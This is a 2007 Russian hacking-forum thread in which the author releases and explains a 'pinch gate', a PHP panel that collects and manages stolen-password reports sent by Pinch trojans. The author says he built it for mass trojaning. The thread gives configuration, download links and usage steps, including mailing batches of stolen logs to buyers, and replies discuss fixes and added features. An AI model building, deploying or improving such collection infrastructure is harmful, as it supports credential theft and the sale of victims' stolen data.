Авторские статьи [pinch gate by genom--]

Discussion in 'Статьи' started by genom--, 7 May 2007.

Thread Status:
Not open for further replies.
  1. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    [pinch gate by genom-- v 3.3 ]

    [pinch gate by genom-- v3.3]

    заметил что кое-где остался старый редирект глючный -- заменил и добавил кнопку самоуничтожения -- пусть будет ))))

    http://genom.h10.ru/gate3.3.txt

    [pinch gate by genom-- v3.0]
    вообщем сення загулял 3 пары и написал апдейт в гейту )))))
    1--переделал систему редиректа - теперь я думаю ключить уже нинаодном хосте небудет
    2--переделал систему аутентификации - вход на форму осуществляется попрежнему gate.php?stat=1 но форма отправляет инфу постом дабы не палиться в логах
    3--теперь пароль запихивается в куки в виде md5 хэша
    4--добавил кнопку удалить все отчеты
    5--ужал часть таблицы в функциональной части дабы в браузере не мешало закладкам )))
    6--добавил прикольную пежню теперь вам ненадо самим создавать папку для логов - достаточно прописать ее в конфиге и при первол заходе если она не существует то она автоматом создастся
    7-- исправил одну багу в фигурными кавычками )))
    8-- понял что надо весь код переписать заново ибо он кривой
    9--запатчена бага с аутентификацией новой--переделал трохан ее
    слить -- http://genom.h10.ru/gate3.txt

    [pinch gate by genom-- v2.0]
    Ну вот вообщем руки доросли дописать кое чего в гейт - радует что уже ненадо вам бъяснять что это такое и зачем он нафиг нужен.

    Итак пойдем по порядку:
    1-исправил фичу когда при открытии гейта в браузере с умершей кукой - создавался пустой отчет. Сейчас отчет не создается и выводится мессадж "Страница находится в стадии разработки...".
    2-добавил фильтр пустых отчетов -- т.е. они небудут сохраняться.
    3-изменил интерфейс - надеюсь этот будет более удобным. -- извините дизайн прежний ибо я страсный любитель кислоты.
    4-добавил отдельные кнопки скачать все отчеты и отправить все отчеты.
    5-добавил отправку на мыло отчетов по определенной дате.
    6-добавил еще один день в статистику прихода(ыыыыыыыыыы =) ) отчетов.
    7- исправил механизм пересчета даты в статистике -- раньше в начале месяца криво пересчитвало дату вчерашнего дня исходя из сегодняшней. Теперь даже если вы будете открывать гейт первого марта в высокосный год то увидите норманую дату и требуемое количество отчетов за это число =).

    Ну вот вроде бы и все что добавил хотя хз может ченить забыл гыгы.

    Скачать можете тут:
    http://slil.ru/24638809
    http://webfile.ru/1471056
    http://www.rapidshare.ru/345841
    или на моей паге
    http://genom.h10.ru/gate.rar


    Руководство по версии 1.0

    итак друзья мои --- недавно по случайному стечению обстоятельств мне пришлось заняться массовым протрояниванием (тссс.. только это секрет)

    И как результат сначала я использовал троя с отправкой на мыло -- но согласитесь тупо получать на ящик сотни отчетов и потом их разгребать -- переименовывать -- сейвить etc..
    Далее мною был опробован гейт -- он конечно более удобен и практичен но согласитесь некоторые проблемы -- как повторы -- пустые отчеты и тд. он решить немог да и заходить каждый день на ftp чтобы скачать отчеты напрягает.

    Как следствие всего вышеизложенного в моем укуренном сохнание родилась мысль что надо этот процесс как-то упростить и автоматизировать. (в сознании промелькнула мысль:'лень двигатель прогресса' =) )
    В итоге у меня получился по моему мнению довольно неплохой гейт с подробной статистикой удобным веб интерфейсом и функциональной автоматизацией =).

    Итак начнем с самого главного с начала:
    Дляработы гейта нам понадобится любой хост работающий на никсах с php.
    Никсовый сервер нам нужен из-за того что архивация происходит с помошью команты tar выполняемой через system();
    Если у вас сервак под виндой то либо убейте себя =) либо замените команды в теле скрипта.
    Все это дело тестировалось мной на genom.h10.ru и работало на ура без каких либо отклонений =)

    Итак сначала по отношению к внешнему виду -- дизайнер из меня хреновый так что сделал как смог.

    Описание функционала:
    Подготовка гейта к работе заключается в открывании его в любом текстовом редакторе и прописывании конфига:

    $pass='genom'; # ваш пароль
    $dirname = "logs"; # имя папки с логами
    $autosend=100; # какими пачками будут отправляться вам на мыло отчеты -- если ноль то небудут
    $mail='[email protected]'; # мыло на которое гейт будет слать пароли
    $autoclean=1; # автоочистка отчетов пришедших с одного ip 0-выкл 1-вкл


    Итак сейвим код и заливаем на хост.
    В результате имеем ссылку на него типа http://host.gov/gate.php
    Если вы просто откроете в браузере http://host.gov/gate.php то нифига не увидите =) т.к. гейт расценит это как подключение трояна и засейвит отчет в виде [текущее время]_[текущая дата]_[ip с которого произошел коннект].bin
    Например: 18-26-44_4-5-2007_127.0.0.1.bin
    В такомже формате будут сейвиться пришедшие отчеты.
    Правда он будет иметь нулевую длинну т.к вы ничего не передавали гейту.

    Для того что-бы попасть в функциональную часть гейта нам нужно открыть http://host.gov/gate.php?stat=1
    Вы увидите форму для ввода пароля -- пишите и создается get запрос http://host.gov/gate.php?pass=[пароль]
    Следовательно если вам впадлу вводить пароль каждый раз то можете сразу переходить по линку http://host.gov/gate.php?pass=[пароль]
    Тут поясним-- при вводе правильного пароля скрипт вешает вам кукис содержащий значение pass:[пароль] и редиректит вас обратно на http://host.gov/gate.php а скрипт уже видя что у вас висит нужный нам кукис и пароль совпадает впускает вас.

    Так выглядит наш гейт:

    http://genom.h10.ru/scr1.jpg
    http://genom.h10.ru/scr2.jpg


    На скринах есть некоторые пояснения- но я объясню все подробно:

    Итак сначала идет конфиг в нем отображается папка в которую будут сохраняться отчеты--- количество найденных отчетов в папке -- состояние автоочистки (о ней позже) -- автоотсылка .. тут указывается количество отчетов при достижениия которого гейт выполнит автоматическую отправку на мыло в виде архива -- далее указано мыло на которе автоматически будут идти отчеты ----- и вв конце суммарный размер папки с отчетами .

    Гейт признает за отчет любой файл а расширением .bin и если вы закинете впапку с отчетами какойнить лажи то она не войдет в размер папки и не будет отображаться в таблице отчетов.

    Далее небольшая табличка в которой отображаются количество отчетов имеющих сегодняшнюю и вчерашнюю дату -- это удобно когда вам приходит много отчетов и вы можете реально оценить прирост отчетов например после вчерашней покупки трафика или вставки ифрейма.

    Потом идет табличка для отправки отчетов на мыло в ручном режиме -- указываете количество -- указываете мыло -- можете выбрать удалить при этом отчеты или нет------- шлеп на кнопку и все отчеты у вас.
    Или можно ненапрягаться людям продающим отчеты -- допустим купил человек 300 отчетов.. берете у него мыло -- шлеп на кнопку и все довольны =)

    Ниже идет таблица отправки отчетов по размеру -- похоже на количество но отсылает указанный размер-- скрипт перебирает отчеты пока из суммарный размер не превысит указанный потом пакует и отправляет (этого на скрине нету ибо дописал недавно)

    Снизу находится таблица для получения линка для скачивания отчетов -- указываете количество и жмете кнопку - архивируется файл down.tar.gz и после автоматического обновления странички эта таблица модифицируется и вы увидите ссылку для скачивания -- после скачки можете его удалить=)

    Далее вы видите форму очистки отчетов -- сильно расписывать небуду -- все понятно можно удалить те или иные отчеты исходя из критериев даты-- ip -- размера -- или просто определенное количество.

    Бинго наконецто мы дошли до самого главного...
    Тут вы видите основную таблицу гейта в ней в нумерованном порядке можно увидеть все отчеты время прихода =) дату и ip ---------- в пятой колонке содержатся имена всех отчетов и линки на них -- можете кликнуть и скачать понравившийся вам отчет-------- следующая колонка показывает размер отчета причем они сортируются по цвету -- зеленые это отчеты меньше 8 кб -- -фиолетовые от 8 до 15 кб ---- остальные красные =) ======== в следующих двух колонках есть небольшой функционал можно удалить текущий отчет или отправить его на мыло указанное в конфиге.

    ~~~~~~~~~~~~~~~~~~~~
    Итак с основным окном разобрались.
    Теперь о автоочистке -- она находится в самом низу коа скрипта
    гейт при получении отчета сохраняет его всегда -- далее он проверяет существует ли отчет с таким же ip как и у только что созданного-- если существует то происходит процедура проверки
    Выбор какой отчет оставит гейт а какой удалит происходит по след схеме-- сначала он проверяет размер -- ели они различные то остается наибольший по размеру отчет - второй удаляется
    Если размеры отчетов одинаковы от гейт оставляет более свежий отчет. т.е тот который только что пришел а старый удаляется.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Итак вроде бы описал весь функционал. Конечно код не идеален и можно было сделать покрасивее его. Но уж как смог php не моя стихия =).

    Итак скачать гейт можете отсюда:
    http://genom.h10.ru/gate.txt

    Скриншоты:
    http://genom.h10.ru/scr1.jpg
    http://genom.h10.ru/scr2.jpg


    Кста посмотреть это безобразие можете на genom.h10.ru/gate.php?stat=1 -- только сайт не затрите =)
     
    #1 genom--, 7 May 2007
    Last edited: 26 Sep 2007
    33 people like this.
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Мне это не нужно, но молодец!
    + заслужил..
    и все же думаю код у тебя некрасивый..
    Т.к. даже
    PHP:
    $pass='genom'# ваш пароль
    $dirname "logs"# имя папки с логами
    $autosend=100# какими пачками будут отправляться вам на мыло отчеты -- если ноль то небудут
    $mail='[email protected]'# мыло на которое гейт будет слать пароли
    $autoclean=1# автоочистка отчетов пришедших с одного ip 0-выкл 1-вкл
    написал некрасиво...
    Смотрелось бы лучше чтобы = отделялось пробелами с 2 сторон
     
  3. VICE

    VICE New Member

    Joined:
    7 Dec 2006
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    толи она с багами , толи я че то не правильно делаю хотя там много ума не надо.... но почему то отчеты не доходят до адресата.... кто нибудь проверял на деле скрипт?
     
    1 person likes this.
  4. VICE

    VICE New Member

    Joined:
    7 Dec 2006
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    походу этот чувак которому я отправил логи оказался просто халявщик.....
    минус скрипта в том что после отправки ты ничем не можеш доказать что ты их отправил и то что он их получил.... если сможеш зделать это то буит супер если нет то увы но я понял что это безпантовая вещ я пока им пользоваться не буду....
     
  5. almaz

    almaz Elder - Старейшина

    Joined:
    4 Sep 2005
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    С какими правами сей скрипт устанавливать?
     
  6. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288

    проверя я его сам на себе -- мне все приходит на ура =) -- а насчет доказать что произошла отправка- хз я себе это не представляю
    логи почтового демона тебе недадут выдрать однозначно =)

    кста можешь сделать линк для скачки и давать заказчику =) ----- и кста перевтаньте слать мне на мыло -- что свое вписать лень?
     
    #6 genom--, 8 May 2007
    Last edited: 8 May 2007
    1 person likes this.
  7. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288

    просто закинь в веб директорию хоста
     
    3 people like this.
  8. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    genom--, я тоже хотел добавить в гейт пару-тройку новых функций, но ты меня опередил. Спасибо большое за скрипт! :)
     
    1 person likes this.
  9. C[]R3

    C[]R3 Elder - Старейшина

    Joined:
    16 Jan 2007
    Messages:
    32
    Likes Received:
    6
    Reputations:
    0
    чото у меня на локалхосте не робит, ща буим ищо пробовать
    genom зачод)
     
  10. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    локалхост непокатит если у тебя не никсы стоят ибо архивация и удаление идет через system()
     
    1 person likes this.
  11. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Прости пожалуйста, я тему плохо прочел и поудалял тебе странички index.php,stat.php,shop.php и r57.php
     
    2 people like this.
  12. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    мдя --вот пиши после этого чтото для людей =(

    я понимаю что оправка имени файла для удаления идет открыто через пост но это же не значит что надо тереть все страницы сайта -- целых 3 =) --- гейт удалил ставьте сейчас себе и тестите --а то щас наберется еще толпа ээээ личностей потрут савсем все
     
    #12 genom--, 22 May 2007
    Last edited: 22 May 2007
    1 person likes this.
  13. cb93ka

    cb93ka Elder - Старейшина

    Joined:
    4 Jan 2007
    Messages:
    36
    Likes Received:
    13
    Reputations:
    3
    скрипт робит, а вот данные на него что не пришли.. жалко..
    хотя было всего три минуты теста )
     
  14. А®ТеS

    А®ТеS Active Member

    Joined:
    25 Nov 2006
    Messages:
    198
    Likes Received:
    193
    Reputations:
    41
    Дык если даже и Винды, то если установлен нечто типа WInRAR'a то через System() вполне мона заархивировать.
     
  15. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    ты меня удивляешь с каждым мднем все сильнее, что ты обычно куришь? какая на[pip] разница как выгледит код?????????????????????????????? все работает? тогда какие пл[pip] вопросы

    аж бесит
     
    1 person likes this.
  16. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    ну если у тебя выпонится команда tar -cvf reports.tar.gz temp и rm -rf temp --- то ради бога =) -- а серьезно то если у тебя виндовый сервак то можешь заменить эти команды на аналогичные
     
    1 person likes this.
  17. _kREveDKo_

    _kREveDKo_ _kREveDKo_

    Joined:
    4 Dec 2005
    Messages:
    778
    Likes Received:
    620
    Reputations:
    1,040
    Да прибудет с вами хекас, юные кодеры. Я занялся модификацией скрипта. Ничего нового - только оптимизация старого.

    - Людской интерфейс
    - Удобочитаемый + сокращённый код

    Функциональность осталась прежней. Скорее всего в будующем добавлю (или геномчик добавит) функцию скачки всего добра одним файлом, т.к. иногда именно так бывает наиболее удобно. А пока новай сессия =\

    http://b00z3.jino-net.ru/pinch_gate[by_genom--]and[modified_by_b00zy_c0d3r].rar
     
  18. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    бузя ну ты прям заделал код на него ажно приятно смотреть =)
    увы да я не очень аккуратный и дизайнер из меня херовый --не обижайся но мне чет диз както не оч понравился -- яркий слишком -- ну на вкус и цвет--- уж какой есть =)
    зы. кстати если есть предложения что добавить пишите тут -- обновлю
     
    #18 genom--, 5 Jun 2007
    Last edited: 5 Jun 2007
  19. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Сделай отправку по СМС :) Будет ШИКАРНО))
    http://www.callwave.com/My/TextMessages/ вот если что) Отправка без антибот-кода.
     
  20. vasya_rogov

    vasya_rogov New Member

    Joined:
    25 Jun 2007
    Messages:
    31
    Likes Received:
    1
    Reputations:
    -5
    а можно мини инструкцию
    зачем пароль

    папку нужо создавать и в эту папку класть этот гейт ?

    какие надо права на папку и скрипт (хостинг джино)
     
Thread Status:
Not open for further replies.